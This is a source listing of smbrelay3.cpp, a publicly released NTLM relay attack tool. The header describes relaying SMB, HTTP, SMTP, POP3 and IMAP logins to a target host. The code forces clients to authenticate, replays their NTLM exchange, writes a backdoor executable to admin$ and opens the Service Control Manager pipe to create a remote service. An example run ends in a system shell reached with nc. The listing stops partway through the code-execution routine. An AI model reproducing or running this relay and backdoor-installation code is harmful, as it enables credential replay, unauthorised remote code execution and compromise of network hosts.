C:/Web/smbrelay3/src/smbrelay3.cpp

Go to the documentation of this file.
00001 /*
00002 *
00003 * SMBRELAY 3 - NTLM replay attack (version 1.0 ) public version
00004 * (c) 2008 Andres Tarasco Acuņa ( atarasco _at_ gmail.com )
00005 * URL: http://tarasco.org/Web/tools.html
00006 * 
00007 *
00008 * This new version of smbrelay have been developed for supporting more attacks than previous 
00009 * versions and should work under win32 and linux. (SMB to SMB attack needs a free 445/tcp port
00010 * so this attack can be "only" executed under linux or under modified win32 system.
00011 *
00012 * To run smbrelay3 under win32 change the value TransportBindName="\\Device\\" to TransportBindName=""
00013 * under HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT\Parameters and then reboot.
00014 *
00015 *
00016 * This is the first public tool allowing attacks against other protocols like HTTP. This tool 
00017 * couldnt be written without Iņaki Lopez NTLM library. :)
00018 *
00019 * Main goal of SMBRELAY3 is to execute remote code when receiving incoming SMB/HTTP/IMAP/POP3/SMTP connections
00020 * from network users. If the incoming request is from an user with with administrative privileges or just 
00021 * "advanced user" privileges on the target system, you will get automatically get a system shell. 
00022 *
00023 * If the incoming connection is from a simple user, srvcheck attack is executed with replayed credentials.
00024 *
00025 *  This smbrelay3 release implements the following attacks:
00026 *  - SMB  to SMB relay 
00027 *  - HTTP to SMB relay
00028 *  - SMTP to SMB relay
00029 *  - POP3 to SMB relay
00030 *  - IMAP to SMB relay
00031 *
00032 * Also there is another feature named "--psexec attack" that have been added. This feature allows remote shells, 
00033 * like sysinternals psexec, under non win32 plataforms. This mode allows to use the native pwdump output hash to
00034 * authenticate against the remote service. You dont need anymore to crack your NTLM hashes in order to connect to
00035 * a remote service.
00036 *
00037 * Lots of features can be added in the future like binding stabilished connections to port 445 and allowing 
00038 * incoming connections. However, just attacking administrative accounts seems to be the fast choice ;)
00039 *
00040 * Here is an HTTP to SMB attack example:
00041 *
00042 
00043 C:\smbrelay3>smbrelay3.exe --ListForHTTPRequests --AlternativePort 81 --v
00044 
00045 SmbRelay3 - SMB to SMB and HTTP to SMB replay attack
00046 (c) 2007 - 2008 Andres Tarasco - [email protected]
00047 Website: http://www.tarasco.org
00048 
00049 [+] Listening HTTP thread at port 81
00050 [+] Accepted Connection - Replaying against 192.168.1.2
00051 [+] Read First HTTP Request...
00052 [+] Sending Default HTTP 401 Error response and asking for authentiation NTLM
00053 [+] Read Second HTTP Request with Auhorization Header..
00054 Init HTTP to SMB attack - Connecting with: 192.168.1.2:445
00055 [+] Sending SMB Authentication Handshake
00056 [+] Received SMB Message with NTLM v2 packet
00057 [+] Sending NTLM Challenge from SMB Server to the HTTP Client
00058 [+] Received Final Authentication packet from remote HTTP Client
00059 UserName:               Administrator
00060 DomainName:      192.168.1.36
00061 WorkstationName: SERVIDOR
00062 [+] Trying to authenticate to remote SMB as Administrator
00063 [+] Sending Final SMB Authentication packet with NTLM Message type 3
00064 [+] SessionSetupAndX Completed
00065 [+] Authenticacion against 192.168.1.2 Succeed with username Administrator
00066 [+] Connecting against IPC$
00067 [+] Trying to connect to admin$
00068 [+] Creating Remote File smrs.exe under admin$
00069 [+] Writing File smrs.exe into admin$
00070 [+] Closing File handle - FID: 800f
00071 [+] Opening Remote Service Control Manager pipe \svcctl
00072 [+] Sending RPC BindRequest to SCM pipe
00073 [+] Reading Response from Binding Request
00074 [+] Opening Remote Service Control Manager
00075 [+] Creating Remote Service
00076 [+] Opening Remote Service
00077 [+] Starting Remote Service...
00078 [+] Now Remote Service is running... Try to connect to 192.168.1.2:8080
00079 
00080 C:\smbrelay3>nc 192.168.1.2 8080
00081 Microsoft Windows [Version 5.2.3790]
00082 (C) Copyright 1985-2003 Microsoft Corp.
00083 
00084 C:\WINDOWS\system32>
00085 
00086 
00087 Notes:
00088 -------
00089 1- When the remote connection tries to authenticate itself as an anonymous connection, smbrelays answers with an
00090 STATUS_LOGON_FAILURE Message. That will force the incoming client to authenticate themself as an user instead of using null session.
00091 
00092 2- SMB to SMB relay does not work replaying the authentication against the same incoming Windows 2003 client. 
00093 Windows 2003 security baseline do not allow to reuse the same NTLMv2 Challenge for both incomming and outgoing connection. 
00094 Its recomended to use the "--SMBDestinationHost" parameter as an alternative host to compromise.
00095 Note: This restriction only aplies to SMBtoSMB replay attacks. Other protocols do not suffer from the same restriction.
00096 
00097 3- For more information, check the readme file.
00098 
00099 4- Verbose parameter (--v or --vv) is not working properly yet, fix it yourself or wait for an improved release (maybe never)
00100 
00101 5- This is the public release. Improved relay attacks like HTTP/SMB --to--> "HTTP OWA email download" can be done just tweaking the code. Link it with
00102 your favorite HTTP library (like FSCAN HTTP Core) and do it yourself =) (do not ask)
00103 
00104 6- To compile smbrelay3 under linux, just type "g++ -lpthread -lssl *.cpp -o smbrelay3"
00105 
00106 */
00107 #include "smbrelay.h"
00108 #include "httprelay.h"
00109 #include "smtprelay.h"
00110 #include "pop3relay.h"
00111 #include "imaprelay.h"
00112 #include "smb.h"
00113 #include "ntlm.h"
00114 #include "misc.h"
00115 #include "payload.h"
00116 
00117 
00118 #include <stdio.h>
00119 #include <stdlib.h>
00120 #include <time.h>
00121 
00122 
00123 const uint8 SpoofedChallengeKey[]="\x11\x22\x33\x44\x55\x66\x77\x88";
00124 #ifdef WIN32
00125 #pragma comment(lib, "ws2_32.lib")
00126 #endif
00127 
00128 
00129 char    lpBackdoorFile[]="smrs.exe";
00130 int             ListForSMBRequests=0;
00131 int             ListForHTTPRequests=0;
00132 int             ListForSMTPRequests=0;
00133 int             ListForIMAPRequests=0;
00134 int             ListForPOP3Requests=0;
00135 int         ProxySMB=0;
00136 int             PsExec=0;
00137 int     AdminResourceAvailable;
00138 
00139 int             ListeningPort; //Listen port
00140 int             DestinationPort=445;
00141 char    *DestinationHost=NULL;
00142 
00143 char    *lpUsername;
00144 char    *lpPassword;
00145 
00146 
00147 int             verbose=0; //Verbose Level
00148 
00149 
00150 char ftphost[100]="";
00151 int  ftpport=21;
00152 char ftpusername[100]="a";
00153 char ftppass[100]="a";
00154 char lpSrcHostname[256]="SmbRelay3";
00155 extern uint16 MultpleID;
00156 
00157 /***************************************************************************************************************/
00158 
00159 int HandleIncommingSmbRequest(RELAY *relay, char *destinationhostname, char *AlternateDestinationHostname, int destinationport, int ReconnectToSameTarget)
00160 {
00161 
00162         unsigned char buf[4096];
00163         unsigned char buf2[4096];
00164         smheader *SmbPacket1,*SmbPacket2;//,*SmbPacket3;
00165         smheader *errorpacket;
00166         smheader *NegotiateProtocol;
00167         smheader *NegotiateProtocolResponse;
00168         int i;  
00169         char *p;
00170         int leido;
00171         char clientRequest[4096];
00172         uint16 OriginalUserID;
00173 
00174         //Conectando con el servidor y Negociando SMB
00175         CleanLine(verbose);
00176         if (ReconnectToSameTarget) {
00177                 printf("[+] Connecting with remote SMB Server: %s:%i\r",destinationhostname,destinationport);
00178         } else {
00179                 printf("[+] Connecting with Alternative SMB Server: %s:%i\r",destinationhostname,destinationport);
00180         }
00181 
00182         i=ConnectToRemoteHost(relay,destinationhostname,destinationport);
00183         if (!i) {
00184                 CleanLine(verbose);
00185                 printf("[-] Unable to connect to remote host\r");
00186                 if (!AlternateDestinationHostname)  {        
00187                         return(0);
00188                 } else {
00189                         return (HandleIncommingSmbRequest(relay,AlternateDestinationHostname,NULL,destinationport,0));
00190                 }        
00191         }
00192 
00193         CleanLine(verbose);
00194         printf("[+] Sending SMB Protocol Handshake against remote SMB Server: %s\r",destinationhostname);
00195         //if (verbose) printf("\n");
00196         p = AddDialect(NULL,"PC NETWORK PROGRAM 1.0",0x02, &i);
00197         //p = AddDialect(p,"PC NETWORK PROGRAM 1.0", 0x02,&i);
00198         p = AddDialect(p,"LANMAN1.0", 0x02,&i);
00199         p = AddDialect(p,"Windows for Workgroups 3.1a", 0x02,&i);
00200         p = AddDialect(p,"LM1.2X002", 0x02,&i);
00201         p = AddDialect(p,"LANMAN2.1", 0x02,&i);
00202         p = AddDialect(p,"NT LM 0.12", 0x02,&i);
00203         NegotiateProtocol=BuildSmbPacket(NULL,NEGOTIATEPROTOCOLREQUEST,0,p,i);
00204         free(p);
00205         i=SendBytesAndWaitForResponse(relay->destination,(char*)NegotiateProtocol,SmbPacketLen(NegotiateProtocol),(char*)buf,sizeof(buf),SMBWAITTIMEOUT);
00206         free(NegotiateProtocol);
00207         if (i<=0){
00208                 CleanLine(verbose);
00209                 printf("[-] Initial SMBHandShake (LanManager Negotiation) Failed\n");
00210                 return(0);
00211         }
00212         //Enviando peticiones de negociacion con el servidor para obtener el challenge
00213         SmbPacket1=BuildSmbPacket1();
00214         if (debug)  {
00215                 CleanLine(verbose);
00216                 printf("\n[*] Dumping SMB Packet With NTLM Message Type 1\n");
00217                 DumpMem((char*)SmbPacket1,SmbPacketLen(SmbPacket1));
00218         }
00219         CleanLine(verbose);
00220         printf("[+] Sending SMB packet with NTLM message I against remote SMB Server:%s\r",destinationhostname);
00221 
00222         SmbPacket2=GetSmbPacket2(relay,SmbPacket1);
00223         free(SmbPacket1);
00224         if  (SmbPacket2==NULL) {
00225                 printf("[-] Unable to receive SMB Packet with NTLM Message Type 2\n");
00226                 return(0);
00227         }
00228         if  (SmbPacket2->NtStatus!=0xc0000016) {
00229                 printf("[-] NTLM Negotiation Failed (Status = 0x%8.8x)\n",SmbPacket2->NtStatus);
00230                 return(0);
00231 
00232         }
00233 
00234 
00235         tSmbNtlmAuthChallenge *challenge=(tSmbNtlmAuthChallenge*)GetNTLMPacketFromSmbPacket(SmbPacket2);
00236         if (verbose) {
00237                 printf("[*] Dumping Received SMB Packet with NTLM Message2\r");
00238                 CleanLine(verbose);
00239                 dumpAuthChallenge(stderr,challenge);
00240                 if (debug) DumpMem((char*)SmbPacket2,SmbPacketLen(SmbPacket2));
00241         }
00242         if (ReconnectToSameTarget)
00243         {
00244                 //HACK! Windows 2003 does not support SMBtoSMB relay against the same host, so we are going to check signatures
00245                 //IF the system is protected, try with an alternate host
00246                 //              printf("blob: %i\n",( (SessionSetupAndXResponse*)(SmbPacket2->buffer))->SecurityBloblength);
00247                 //              DumpMem((char*) SmbPacket2->buffer + sizeof(SessionSetupAndXResponse) +  ( (SessionSetupAndXResponse*)(SmbPacket2->buffer))->SecurityBloblength +1,40);
00248                 Widetochar((char*)buf2,(char*) SmbPacket2->buffer + sizeof(SessionSetupAndXResponse)+ ( (SessionSetupAndXResponse*)(SmbPacket2->buffer))->SecurityBloblength +1,40);
00249                 //printf("Native OS: %s\n",buf2);
00250                 if ( (memcmp(buf2,"Windows 2003",12)==0) || (memcmp(buf2,"Windows Server 2003",19)==0) || (memcmp(buf2,"Windows Vista",19)==0) )
00251                 {       
00252                         closesocket(relay->destination);
00253                         CleanLine(verbose);
00254                         if (AlternateDestinationHostname)
00255                         {
00256                                 printf("[-] Incoming client is Windows 2003. Trying alternative SMB Host %s\r",AlternateDestinationHostname);
00257                                 return ( HandleIncommingSmbRequest(relay, AlternateDestinationHostname,NULL,destinationport,0) );
00258                         } else {
00259                                 printf("[-] Incoming client is Windows >= 2003. Unable to attack the same host\n");
00260                                 printf("[-] Next time try to add an extra target with --SMBDestinationHost\r");
00261                                 return(0);
00262                         }
00263         
00264                 }
00265         }
00266 
00267 
00268 
00269         //Negociando LanManager con el cliente
00270         /******************init*******************************/
00271         CleanLine(verbose);
00272         printf("[+] Negotiating SMB LanManager Protocol with incomming client\r"); 
00273         leido=recv( relay->source,clientRequest,sizeof(clientRequest),0 );
00274 
00275         MultpleID=((smheader*)clientRequest)->multipleID;
00276 
00277         NegotiateProtocolResponse=BuildSmbPacket(NULL,NEGOTIATEPROTOCOLREQUEST,CONTINUERESPONSE,NULL,0);
00278         send(relay->source,(char*)NegotiateProtocolResponse,SmbPacketLen(NegotiateProtocolResponse),0);
00279 
00280 
00281         //leyendo peticion SMB del cliente (paquete NTLMv1)
00282         CleanLine(verbose);
00283         printf("[+] Reading Incoming request with NTLM packet type 1\r");
00284         leido=recv( relay->source,clientRequest,sizeof(clientRequest),0 );
00285         if (debug) {
00286                 CleanLine(verbose);
00287                 printf("[*] Dumping received SMB Packet ( %i bytes )\n",leido);
00288                 DumpMem(clientRequest,leido);
00289         }
00290 
00291         //printf("[+] Answering Incoming request with SMB packet with NTLM type 2 (Session key)\r");
00292         CleanLine(verbose);
00293         printf("[+] Sending Challenge Key and waiting for authentication packet\r");
00294 
00295         OriginalUserID=SmbPacket2->UserID;
00296         MultpleID+=64;
00297         SmbPacket2->multipleID=MultpleID;
00298         
00299         leido=SendBytesAndWaitForResponse(relay->source,(char*)SmbPacket2, SmbPacketLen(SmbPacket2),(char*)clientRequest,sizeof(clientRequest),SMBWAITTIMEOUT);
00300 
00301         if (leido==0) {
00302                 CleanLine(verbose);
00303                 printf("[-] Error while reading NTLM type3 packet from incomming SMB connection\n");
00304                 return(0);
00305         }
00306 
00307         if (debug)  {
00308                 CleanLine(verbose);
00309                 printf("[*] Dumping received SMB Packet ( %i bytes )\n",leido);
00310                 DumpMem((char*)clientRequest,leido);
00311         }
00312 
00313         if (     ((char*)clientRequest)[0] == SESSIONLOGOFF )   {
00314                 //    if ( ((smheader*)clientRequest)->SmbMessageType == SESSIONLOGOFF )   {
00315                 CleanLine(verbose);
00316                 printf("[-] Error. The client forced LogOff and disconnected.\n");
00317                 return(0);
00318         }
00319 
00320 
00321         //NULL SESSION
00322         if ( ((tSmbNtlmAuthResponse *)GetNTLMPacket3FromSmbPacket((smheader *)clientRequest))->uUser.len==0) {        
00323                 CleanLine(verbose);
00324                 printf("[-] Error. The client tried to authenticate with a Null Session.\n");
00325                 errorpacket=BuildSmbPacket((smheader*)clientRequest,SESSIONSETUPANDX,ERRORRESPONSE,NULL,0);
00326                 errorpacket->flags=SmbPacket2->flags;
00327                 if (debug) {
00328                         DumpMem((char*)errorpacket,SmbPacketLen(errorpacket));
00329                 }
00330                 send(relay->source,(char*)errorpacket,SmbPacketLen(errorpacket),0);
00331                 shutdown(relay->source,0);
00332                 return(0);
00333 
00334         } 
00335 
00336 
00337         ((smheader*)clientRequest)->UserID=OriginalUserID;
00338         i=SendBytesAndWaitForResponse(relay->destination,(char*)clientRequest, SmbPacketLen(((smheader*)clientRequest)),(char*)buf,sizeof(buf),SMBWAITTIMEOUT);
00339         if (i<=0){
00340                 printf("[-] Error reading Server Authentication Response                              \n");
00341                 return(0);
00342         }
00343         if (debug) {
00344                 printf("[*] SessionSetupAndX Completed - Dumping received packet                                 \n");
00345                 DumpMem(buf,i);
00346         }
00347 
00348         if (((smheader*)buf)->NtStatus!=0x00000000) {
00349                 printf("[+] SessionSetupAndX Completed. Authentication Failed                          \n");
00350                 errorpacket=BuildSmbPacket((smheader*)clientRequest,SESSIONSETUPANDX,ERRORRESPONSE,NULL,0);
00351                 errorpacket->flags=SmbPacket2->flags;
00352                 send(relay->source,(char*)errorpacket,SmbPacketLen(errorpacket),0);
00353                 return(0);
00354         }
00355         if ( ((SessionSetupAndXResponse*)((smheader*)buf)->buffer)->Action & 0x0001 )
00356         {
00357                 printf("[-] Authentication against Remote Host Failed. (Connected as Guest)\n");
00358                 errorpacket=BuildSmbPacket((smheader*)clientRequest,SESSIONSETUPANDX,ERRORRESPONSE,NULL,0);
00359                 errorpacket->flags=SmbPacket2->flags;
00360                 send(relay->source,(char*)errorpacket,SmbPacketLen(errorpacket),0);
00361                 return(0);
00362         }
00363         if (verbose) {
00364                 printf("[+] Sending an STATUSOK Message to the client                                            \n");
00365         }
00366 
00367         errorpacket=BuildSmbPacket((smheader*)clientRequest,SESSIONSETUPANDX,CONTINUERESPONSE,NULL,0);
00368         errorpacket->flags=SmbPacket2->flags;
00369         send(relay->source,(char*)errorpacket,SmbPacketLen(errorpacket),0);
00370         shutdown(relay->source,0);
00371 
00372 
00373         printf("[+] SessionSetupAndX Completed. Authenticacion Succeed                                   \n");
00374         ExecuteCode( *relay);
00375         return(0);
00376 }
00377 /*********************************************/
00378 int ReplayAttackAgainst(int srcProtocol, int dstProtocol,int port,char *hostname,  int DestinationPort)
00379 {
00380         //Wait for incoming HTTP Requests and try
00381         SOCKET wsl;
00382         struct sockaddr_in door;
00383         RELAY *relay;
00384         char tmp[256];
00385 
00386         int clientLen;
00387 
00388         if((wsl = socket(PF_INET, SOCK_STREAM, 0)) == INVALID_SOCKET) return 1;
00389         door.sin_family = AF_INET;
00390         door.sin_addr.s_addr = htonl(INADDR_ANY);
00391         door.sin_port = htons(port);
00392 
00393         if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) {
00394                 printf("[-] Error. Unable to bind to port %i\n",port);
00395                 closesocket(wsl);
00396                 return 0;
00397         }
00398         if(listen(wsl, SOMAXCONN) == INVALID_SOCKET) {
00399                 printf("[-] Error. Unable to listen at port :%i\n",port);
00400                 closesocket(wsl);
00401                 return 0;
00402         }
00403         while (1) {
00404                 printf("[+] Listening for incomming connections at port %i\r",port);
00405                 relay=(RELAY*)malloc(sizeof(RELAY));
00406                 clientLen=sizeof(relay->sourceaddr);
00407                 relay->source=accept(wsl,(struct sockaddr *) &relay->sourceaddr,(socklen_t*)&clientLen);
00408                 if (hostname)
00409                 {
00410                         strcpy(tmp,hostname);
00411                 } else {
00412                         strcpy(tmp,inet_ntoa(relay->sourceaddr.sin_addr));
00413                 }
00414                 strcpy(relay->hostname,tmp);
00415                 printf("[+] Accepted Connection - Replaying against %s\n",tmp);
00416                 relay->dstProtocol = dstProtocol;
00417                 //if (verbose) printf("\n");
00418                 switch (srcProtocol)
00419                 {
00420                 case REPLAY_HTTP:
00421                         HandleIncommingHTTPRequest(relay,tmp,DestinationPort);
00422                         break;
00423                 case REPLAY_SMB:
00424                         HandleIncommingSmbRequest(relay,inet_ntoa(relay->sourceaddr.sin_addr),hostname,DestinationPort,1);
00425                         break;
00426                 case REPLAY_SMTP:
00427                         HandleIncommingSMTPRequest(relay,tmp,DestinationPort);
00428                         break;
00429                 case REPLAY_POP3:
00430                         HandleIncommingPOP3Request(relay,tmp,DestinationPort);
00431                         break;
00432                 case REPLAY_IMAP:
00433                         HandleIncommingIMAPRequest(relay,tmp,DestinationPort);
00434                         break;
00435                 default:
00436                         printf("[-] protocol %i not supported or implemented\n",srcProtocol);
00437                         return(0);
00438                         break;
00439                 }
00440                 closesocket(relay->destination);
00441                 closesocket(relay->source);
00442                 free(relay);
00443 
00444         }
00445         return(1);
00446 }
00447 
00448 
00449 
00450 /*********************************************/
00451 int StablishNTLMSession(RELAY relay,char *host, char *lpUserName, char *lpPassword)
00452 {
00453 
00454         unsigned char buf[4096];
00455         smheader *SmbPacket1,*SmbPacket2,*SmbPacket3;
00456         smheader* NegotiateProtocol;
00457         int i;  
00458         char *p;
00459 
00460         printf("[+] Sending SMB Authentication Handshake                                    \r");
00461         p = AddDialect(NULL,"PC NETWORK PROGRAM 1.0",0x02, &i);    
00462         p = AddDialect(p,"LANMAN1.0", 0x02,&i);
00463         p = AddDialect(p,"Windows for Workgroups 3.1a", 0x02,&i);
00464         p = AddDialect(p,"LM1.2X002", 0x02,&i);
00465         p = AddDialect(p,"LANMAN2.1", 0x02,&i);
00466         p = AddDialect(p,"NT LM 0.12", 0x02,&i);    
00467         NegotiateProtocol=BuildSmbPacket(NULL,NEGOTIATEPROTOCOLREQUEST,0,p,i);
00468         free(p);
00469         i=SendBytesAndWaitForResponse(relay.destination,(char*)NegotiateProtocol,SmbPacketLen(NegotiateProtocol),(char*)buf,sizeof(buf),SMBWAITTIMEOUT);
00470         free(NegotiateProtocol);
00471 
00472         //i=InitSmbHandshake(&relay,(char*)buf,sizeof(buf));
00473         if (i<=0){
00474                 printf("[+] Initial SMBHandShake (LanManager Negotiation) Failed                \n");
00475                 return(0);
00476         }
00477 
00478         SmbPacket1=BuildSmbPacket1();
00479         if (debug) {
00480                 printf("\n[*] Dumping SMB Packet With NTLM Message Type 1                                   \n");
00481                 DumpMem((char*)SmbPacket1,SmbPacketLen(SmbPacket1));
00482         }
00483 
00484         SmbPacket2=GetSmbPacket2(&relay,SmbPacket1);
00485         free(SmbPacket1);
00486         if  (SmbPacket2==NULL) {
00487                 printf("[-] Unable to receive SMB Packet with NTLM Message Type 2                 \n");
00488                 free(SmbPacket2);
00489                 return(0);
00490         }
00491 
00492         if  (SmbPacket2->NtStatus!=0xc0000016) {
00493 
00494                 printf("[-] NTLM Negotiation Failed (Status = 0x%8.8x)\n",SmbPacket2->NtStatus);
00495                 free(SmbPacket2);
00496                 return(0);
00497         }
00498 
00499 
00500         tSmbNtlmAuthChallenge *challenge=(tSmbNtlmAuthChallenge*)GetNTLMPacketFromSmbPacket(SmbPacket2);
00501 
00502         if (verbose) {
00503                 printf("[*] Dumping Received SMB Packet with NTLM Message2\n");
00504                 dumpAuthChallenge(stderr,challenge);
00505                 if (debug) DumpMem((char*)SmbPacket2,SmbPacketLen(SmbPacket2));
00506 
00507         }
00508         SmbPacket3=GetSmbPacket3(SmbPacket2,lpUserName, lpPassword,NULL,lpSrcHostname,(tSmbNtlmAuthResponse*)NULL); //<- anonymous connection under windows 2000
00509 
00510         free(SmbPacket2);
00511         if (debug) {
00512                 printf("\n[*] Dumping Generated SMB Packet with NTLM Message3\n");
00513                 DumpMem((char*)SmbPacket3,SmbPacketLen(SmbPacket3));
00514         }
00515         i=SendBytesAndWaitForResponse(relay.destination,(char*)SmbPacket3, SmbPacketLen(SmbPacket3),(char*)buf,sizeof(buf),SMBWAITTIMEOUT);
00516         free(SmbPacket3);
00517         //free(SmbPacket2);
00518         if (i<=0){
00519                 printf("[-] Error reading Server Authentication Response                          \n");
00520                 return(0);
00521         }
00522 
00523 
00524         if (debug) {
00525                 printf("[*] SessionSetupAndX Completed - Dumping received packet                             \n");
00526                 DumpMem(buf,i);
00527         }
00528 
00529         if (((smheader*)buf)->NtStatus!=0x00000000) {
00530                 printf("[-] SessionSetupAndX Completed                                            \n");
00531                 printf("[-] Authentication against Remote Host Failed (Error: 0x%8.8X\n",((smheader*)buf)->NtStatus!=0x00000000);
00532                 return(0);
00533         }
00534 
00535         if ( ((SessionSetupAndXResponse*)((smheader*)buf)->buffer)->Action & 0x0001 )
00536         {
00537                 printf("[-] Authentication against Remote Host Failed. (Connected as Guest)\n");
00538 
00539                 return(0);
00540         }
00541 
00542         SetEnviroment(((smheader*)buf)->UserID,0,0);
00543         printf("[+] Authentication against %s Succeed as %s\n",host,lpUserName);
00544         return(1);
00545 
00546         /**************/
00547 
00548 
00549 
00550 }
00551 
00552 
00553 
00554 
00555 
00556 /*********************************************/
00557 int ExecuteCode( RELAY relay) 
00558 {
00559         unsigned char buf[4096];
00560         char ServicePath[4096];
00561         char path[256];
00562         smheader *packet;
00563         int i;  
00564         uint16 FID;
00565         uint8 ContextHandle[20 + 8]; // Alloc 8 more bytes needed by StartServiceW() stub
00566         int len;
00567         char data[4046];
00568         int status;
00569         CtxItem *ctx;
00570 
00571 
00572         //CONNECT TO IPC$
00573         memset(buf,'\0',sizeof(buf));
00574         memset(ContextHandle,'\0',sizeof(ContextHandle));
00575         //sprintf(path,"\\\\%s\\IPC$",inet_ntoa(relay.destinationaddr.sin_addr));
00576         sprintf(path,"\\\\%s\\IPC$",relay.hostname);
00577         i=BuildTreeConnectAndXStub((char*)buf,"",path,"?????");
00578         packet=BuildSmbPacket((smheader*)NULL,TREECONNETANDX,0,buf,i);
00579 
00580         printf("[+] Connecting against %s\r",path);
00581         if (verbose)
00582         {               
00583                 printf("\n");
00584                 if (debug) DumpMem((char*)packet,SmbPacketLen(packet));
00585         }
00586         i=SendBytesAndWaitForResponse(relay.destination,(char*)packet, SmbPacketLen(packet),(char*)buf,sizeof(buf),SMBWAITTIMEOUT);
00587         free(packet);
00588         if ((i<=0) || (((smheader*)buf)->NtStatus!=0x00000000) ){
00589                 printf("[-] Error. Unable to connect to IPC$                             \n");
00590                 return(0);
00591         }
00592 
00593 
00594         //Copy remote file to admin$
00595         status=WriteRemoteFile(relay, (smheader*)buf,lpBackdoorFile );
00596 
00597         //Bind to openSCManager
00598         packet=BuildSmbPacket((smheader*)buf,NTCREATEANDX,0,(void*)"\\svcctl",0);
00599         printf("[+] Opening Remote Service Control Manager pipe \\svcctl                        \r");
00600         if (verbose)
00601         {
00602                 printf("\n");
00603                 if (debug) DumpMem((char*)packet,SmbPacketLen(packet));
00604         }
00605         i=SendBytesAndWaitForResponse(relay.destination,(char*)packet, SmbPacketLen(packet),(char*)buf,sizeof(buf),SMBWAITTIMEOUT);
00606         free(packet);
00607         if ((i<=0) || (((smheader*)buf)->NtStatus!=0x00000000) ){
00608                 printf("[-] Error. Unable to Open Control Manager pipe \\svcctl                       \n");
00609                 return(0);
00610         }    
00611 
00612 
00613         //Save "\\svcctl" File Identification (FID) porque sera utilizado mas adelante en la peticion ReadAndX
00614         memcpy((char*)&FID,((smheader*)buf)->buffer+6,2);
00615 
00616         //Enviamos una peticion RPC binding
00617 #ifdef WIN32
00618         ctx=(CtxItem *)AddBinddingInformation(NULL,"367abb81-9844-35f1-ad32-98f038001003","8a885d04-1ceb-11c9-9fe8-08002b104860",2,0,&i);
00619 #else
00620         //HACK: We need to generate an uuidtostring() function for linux
00621         i = sizeof(CtxItem)*2;//dcerpcbind->NumberOfCtx;
00622         ctx=(CtxItem*)malloc(i);//dcerpcbind->NumberOfCtx);
00623         ctx[0].ContextID=0;
00624         ctx[0].NumberOfTransItems=1;            
00625         ctx[0].padding=0;
00626         ctx[0].AbstractSyntaxis.MayorVersion=2;
00627         ctx[0].AbstractSyntaxis.MinorVersion=0;
00628         memcpy((char*)ctx[0].AbstractSyntaxis.uuid,"\x81\xbb\x7a\x36\x44\x98\xf1\x35\xad\x32\x98\xf0\x38\x00\x10\x03",16);
00629         ctx[0].TransferSyntaxis.MayorVersion=2;
00630         ctx[0].TransferSyntaxis.MinorVersion=0;
00631         memcpy((char*)ctx[0].TransferSyntaxis.uuid,"\x04\x5d\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00\x2b\x10\x48\x60",16);
00632 
00633         ctx[1].ContextID=1;
00634         ctx[1].NumberOfTransItems=1;            
00635         ctx[1].padding=0;
00636         ctx[1].AbstractSyntaxis.MayorVersion=2;
00637         ctx[1].AbstractSyntaxis.MinorVersion=0;
00638         memcpy((char*)ctx[1].AbstractSyntaxis.uuid,"\x81\xbb\x7a\x36\x44\x98\xf1\x35\xad\x32\x98\xf0\x38\x00\x10\x03",16);
00639         ctx[1].TransferSyntaxis.MayorVersion=1;
00640         ctx[1].TransferSyntaxis.MinorVersion=0;
00641         memcpy((char*)ctx[1].TransferSyntaxis.uuid,"\x2c\x1c\xb7\x6c\x12\x98\x40\x45\x01\x00\x00\x00\x00\x00\x00\x00",16);
00642 #endif
00643 
00644         packet=BuildSmbPacket((smheader*)buf,WRITEANDX,RPCBIND,ctx,i);
00645         free(ctx);
00646         if (verbose)
00647         {               
00648                 printf("[*] Sending RPC BindRequest to SCM pipe                                          \n");
00649                 if (debug) DumpMem((char*)packet,SmbPacketLen(packet));
00650         }
00651         i=SendBytesAndWaitForResponse(relay.destination,(char*)packet, SmbPacketLen(packet),(char*)buf,sizeof(buf),SMBWAITTIMEOUT);
00652         free(packet);
00653         if ((i<=0) || (((smheader*)buf)->NtStatus!=0x00000000) ){
00654                 printf("[-] Error. Unable to bind to SCM pipe                             \n");
00655                 return(0);
00656         }
00657 
00658         //Leemos la respuesta del rpc binding. hay que hacerlo en otro paquete para que funcione correctamente.
00659         //De lo contrario obtenemos el error pipe bussy
00660         packet=BuildSmbPacket((smheader*)buf,READANDX,0,NULL,0);
00661         ((ReadAndX*)packet->buffer)->FID=FID;   
00662         if (verbose)
00663         {               
00664                 printf("[*] Reading Response from Binding Request                                      \n");
00665                 if (debug) DumpMem((char*)packet,SmbPacketLen(packet));
00666         }
00667         i=SendBytesAndWaitForResponse(relay.destination,(char*)packet, SmbPacketLen(packet),(char*)buf,sizeof(buf),SMBWAITTIMEOUT);
00668         free(packet);
00669         if ((i<=0) || (((smheader*)buf)->NtStatus!=0x00000000) ){
00670                 printf("[-] Error. Bad response from last Bindding attempt                  \n");
00671                 return(0);
00672         }
00673 
00674         //Open SCMANAGER for Writting...
00675         sprintf(path,"\\\\%s",inet_ntoa(relay.destinationaddr.sin_addr));
00676         len=OpenScManagerWStub(data,path,SC_MANAGER_CREATE_SERVICE) ;
00677         packet=BuildSmbPacket((smheader*)buf,SMB_COM_TRANSACTION,OPENSCMANAGER,(char*)data,len);
00678         ((SMB_COM_TRANSACTION_STRUCT*)packet->buffer)->FID=FID;
00679         printf("[+] Opening Remote Service Control Manager (Creating Service)            \r");
00680         if (verbose)
00681         {               
00682                 printf("\n");
00683                 if (debug) DumpMem((char*)packet,SmbPacketLen(packet));
00684         }
00685 
00686         i=SendBytesAndWaitForResponse(relay.destination,(char*)packet, SmbPacketLen(packet),(char*)buf,sizeof(buf),SMBWAITTIMEOUT);
00687         free(packet);
00688 
00689         if (( i<=0) || (((smheader*)buf)->NtStatus!=0x00000000)  || (GetDceRpcPacketFromBuffer(buf)->PacketType != RPC_RESPONSE) ){
00690                 printf("[-] Error. Unable to Open Remote Service Control Manager (DCERPC FAULT)\n");
00691                 
00692                 if (strlen(ftphost)==0) {
00693                         printf("[-] ftphost parameter not selected. Unable to execute srvcheck attack\n");
00694                         return(0);
00695                 }
00696                 GenerateFTPTransfer(ServicePath,ftphost,ftpport,ftpusername,ftppass,lpBackdoorFile,NULL);        
00697                 return (AttackWeakServices(relay, (char*)buf,path, FID,(char*)ServicePath));
00698                 
00699         }
00700 
00701         memcpy((char*)ContextHandle,buf+i-24,20);
00702         //status=0;
00703 
00704 
00705         if (status) { //Creamos el servicio y lo abrimos para inciar        
